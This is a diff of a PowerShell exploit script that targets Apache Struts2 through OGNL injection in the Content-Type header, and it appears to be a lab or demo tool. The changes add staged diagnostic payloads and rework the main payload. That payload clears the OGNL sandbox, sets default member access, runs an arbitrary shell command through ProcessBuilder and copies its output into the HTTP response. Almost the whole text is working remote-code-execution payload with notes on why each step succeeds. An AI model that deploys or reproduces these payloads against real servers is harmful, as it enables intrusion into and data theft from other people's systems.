@@ -157,31 +157,63 @@ $writeSuffix =
157157if ($DiagLevel -gt 0 ) {
158158 # -- DIAGNOSTIC MODE: incremental payloads to find exact failure step --
159159 $diagLabel = switch ($DiagLevel ) {
160- 1 { " sandbox bypass only" }
161- 2 { " Runtime.getRuntime() + freeMemory()" }
162- 3 { " new StringBuilder - test new for java.lang" }
163- 4 { " new ProcessBuilder({'whoami'}) - NO start" }
164- 5 { " PB.command() - verify PB internals" }
165- 6 { " PB.start() - the actual process creation" }
166- 7 { " rt.exec('whoami') - separate var, not chained" }
167- 8 { " getRuntime().exec('whoami') - chained form" }
168- 9 { " new File('.').getAbsolutePath() - another java.io class" }
160+ 1 { " sandbox bypass only" }
161+ 2 { " Runtime.getRuntime() + freeMemory()" }
162+ 3 { " new StringBuilder - test new for java.lang" }
163+ 4 { " new ProcessBuilder({'whoami'}) - NO start" }
164+ 5 { " PB.command() - verify PB internals" }
165+ 6 { " PB.start() - the actual process creation" }
166+ 7 { " rt.exec('whoami') - separate var, not chained" }
167+ 8 { " getRuntime().exec('whoami') - chained form" }
168+ 9 { " new File('.').getAbsolutePath() - another java.io class" }
169+ 10 { " Class.forName(IOUtils) - is commons-io on classpath?" }
170+ 11 { " PB.start() + get InputStream class name" }
171+ 12 { " PB.start() + read ONE byte from InputStream" }
172+ 13 { " PB.start() + IOUtils.copy to response (FULL STREAM)" }
169173 }
170174 Write-Host " [STEP 2] DIAGNOSTIC level $DiagLevel - $diagLabel " - ForegroundColor Magenta
171175
176+ # Levels 1-9 use the $writeSuffix to write a #proof string to the response.
177+ # Level 10 also uses $writeSuffix (returns class name as string).
178+ # Levels 11-12 also use $writeSuffix (returns InputStream info as string).
179+ # Level 13 writes directly to the response output stream via IOUtils.copy.
172180 $diagBody = switch ($DiagLevel ) {
173- 1 { " .(#proof='DIAG1: sandbox_bypass=OK')" }
174- 2 { " .(#rt=@java.lang.Runtime@getRuntime()).(#mem=#rt.freeMemory()).(#proof='DIAG2: mem=' + #mem)" }
175- 3 { " .(#sb=new java.lang.StringBuilder('test')).(#proof='DIAG3: StringBuilder=' + #sb.toString())" }
176- 4 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#proof='DIAG4: PB=' + #p.toString())" }
177- 5 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#cmd=#p.command()).(#proof='DIAG5: command=' + #cmd.toString())" }
178- 6 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#proof='DIAG6: process=' + #process.toString())" }
179- 7 { " .(#rt=@java.lang.Runtime@getRuntime()).(#process=#rt.exec('whoami')).(#proof='DIAG7: process=' + #process.toString())" }
180- 8 { " .(#process=@java.lang.Runtime@getRuntime().exec('whoami')).(#proof='DIAG8: process=' + #process.toString())" }
181- 9 { " .(#f=new java.io.File('.')).(#proof='DIAG9: cwd=' + #f.getAbsolutePath())" }
181+ 1 { " .(#proof='DIAG1: sandbox_bypass=OK')" }
182+ 2 { " .(#rt=@java.lang.Runtime@getRuntime()).(#mem=#rt.freeMemory()).(#proof='DIAG2: mem=' + #mem)" }
183+ 3 { " .(#sb=new java.lang.StringBuilder('test')).(#proof='DIAG3: StringBuilder=' + #sb.toString())" }
184+ 4 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#proof='DIAG4: PB=' + #p.toString())" }
185+ 5 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#cmd=#p.command()).(#proof='DIAG5: command=' + #cmd.toString())" }
186+ 6 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#proof='DIAG6: process=' + #process.toString())" }
187+ 7 { " .(#rt=@java.lang.Runtime@getRuntime()).(#process=#rt.exec('whoami')).(#proof='DIAG7: process=' + #process.toString())" }
188+ 8 { " .(#process=@java.lang.Runtime@getRuntime().exec('whoami')).(#proof='DIAG8: process=' + #process.toString())" }
189+ 9 { " .(#f=new java.io.File('.')).(#proof='DIAG9: cwd=' + #f.getAbsolutePath())" }
190+ # Class.forName() explicitly loads a class by name — more reliable than @ClassName@class
191+ # which treats 'class' as a static field name (invalid OGNL).
192+ 10 { " .(#cls=@java.lang.Class@forName('org.apache.commons.io.IOUtils')).(#proof='DIAG10: IOUtils=' + #cls.getName())" }
193+ # Get the runtime type of the InputStream returned by the process — confirms we
194+ # CAN obtain the stream reference, even if we can't read from it yet.
195+ 11 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#is=#process.getInputStream()).(#proof='DIAG11: IS=' + #is.getClass().getName())" }
196+ # Read exactly ONE byte (returned as int 0-255). 'whoami' output is ASCII so
197+ # the first byte is the first character of the username.
198+ 12 { " .(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#b=#process.getInputStream().read()).(#proof='DIAG12: first_byte=' + #b)" }
182199 }
183200
184- $contentType = " .%{" + $bypassPrefix + $diagBody + " ." + $writeSuffix + " }.multipart/form-data"
201+ if ($DiagLevel -eq 13 ) {
202+ # Level 13 streams directly to the HTTP response via IOUtils — no #proof variable.
203+ $directBody =
204+ " .(#p=new java.lang.ProcessBuilder({'whoami'}))." +
205+ " (#p.redirectErrorStream(true))." +
206+ " (#process=#p.start())." +
207+ " (#response=@org.apache.struts2.ServletActionContext@getResponse())." +
208+ " (#response.setContentType('text/plain'))." +
209+ " (#ros=#response.getOutputStream())." +
210+ " (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." +
211+ " (#ros.flush())." +
212+ " (#response.flushBuffer())"
213+ $contentType = " .%{" + $bypassPrefix + $directBody + " }.multipart/form-data"
214+ } else {
215+ $contentType = " .%{" + $bypassPrefix + $diagBody + " ." + $writeSuffix + " }.multipart/form-data"
216+ }
185217
186218} elseif ($DemoMode ) {
187219 # -- DEMO MODE: clears the Struts2 sandbox, then writes a proof string directly
@@ -218,13 +250,19 @@ if ($DiagLevel -gt 0) {
218250 # setMemberAccess to DEFAULT_MEMBER_ACCESS (allows static method calls
219251 # like getResponse()). DEFAULT_MEMBER_ACCESS is a static FIELD, not a
220252 # method, so it is accessible even with allowStaticMethodAccess=false.
221- # 6. Runtime.exec(String[]) runs the command via /bin/sh. We use a String
222- # array form so the shell receives the command as a single token — the
223- # single-string overload uses StringTokenizer which would split on spaces
224- # and break commands like 'cat data/users.yaml' into separate arguments.
225- # 7. waitFor() ensures the process exits; readAllBytes() drains stdout.
226- # 8. Write output bytes via getOutputStream() + setContentLength +
227- # flushBuffer() to commit the response before JSP rendering.
253+ # 6. ProcessBuilder (List form) confirmed working at diagnostic level 6.
254+ # redirectErrorStream(true) merges stderr into stdout so errors surface.
255+ # The List form {'exe','flag','cmd'} is used because OGNL 3.0.x can
256+ # resolve ProcessBuilder(List<String>) but struggles to pass a
257+ # 'new String[]{...}' primitive array through its reflection layer.
258+ # 7. IOUtils.copy streams the process stdout directly to the HTTP response
259+ # output stream without any intermediate String or byte[] variable.
260+ # This is the canonical working approach for this CVE — it avoids
261+ # readAllBytes() (OGNL passes byte[] as Object[], breaking String(byte[],charset)),
262+ # and avoids Scanner.hasNext() (unknown compatibility in OGNL 3.0.x).
263+ # IOUtils.copy blocks until the stream is exhausted (i.e., the process
264+ # exits), so no explicit waitFor() is needed.
265+ # 8. flushBuffer() commits the response before JSP rendering.
228266 #
229267 # Select the OS shell that the JVM will spawn. The JVM runs on the same OS
230268 # as the server, so we detect which platform PowerShell is on (they match
@@ -241,15 +279,13 @@ if ($DiagLevel -gt 0) {
241279 " (#ognlUtil.getExcludedPackageNames().clear())." +
242280 " (#ognlUtil.getExcludedClasses().clear())." +
243281 " (#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
244- " (#process=@ java.lang.Runtime@getRuntime().exec(new String[] {'$shellExe ','$shellFlag ','$escapedCmd '}))." +
245- " (#process.waitFor( ))." +
246- " (#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8' ))." +
282+ " (#p=new java.lang.ProcessBuilder( {'$shellExe ','$shellFlag ','$escapedCmd '}))." +
283+ " (#p.redirectErrorStream(true ))." +
284+ " (#process=#p.start( ))." +
247285 " (#response=@org.apache.struts2.ServletActionContext@getResponse())." +
248286 " (#response.setContentType('text/plain'))." +
249- " (#bytes=#out.getBytes('UTF-8'))." +
250- " (#response.setContentLength(#bytes.length))." +
251287 " (#ros=#response.getOutputStream())." +
252- " (#ros.write(#bytes ))." +
288+ " (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros ))." +
253289 " (#ros.flush())." +
254290 " (#response.flushBuffer())" +
255291 " }.multipart/form-data"
0 commit comments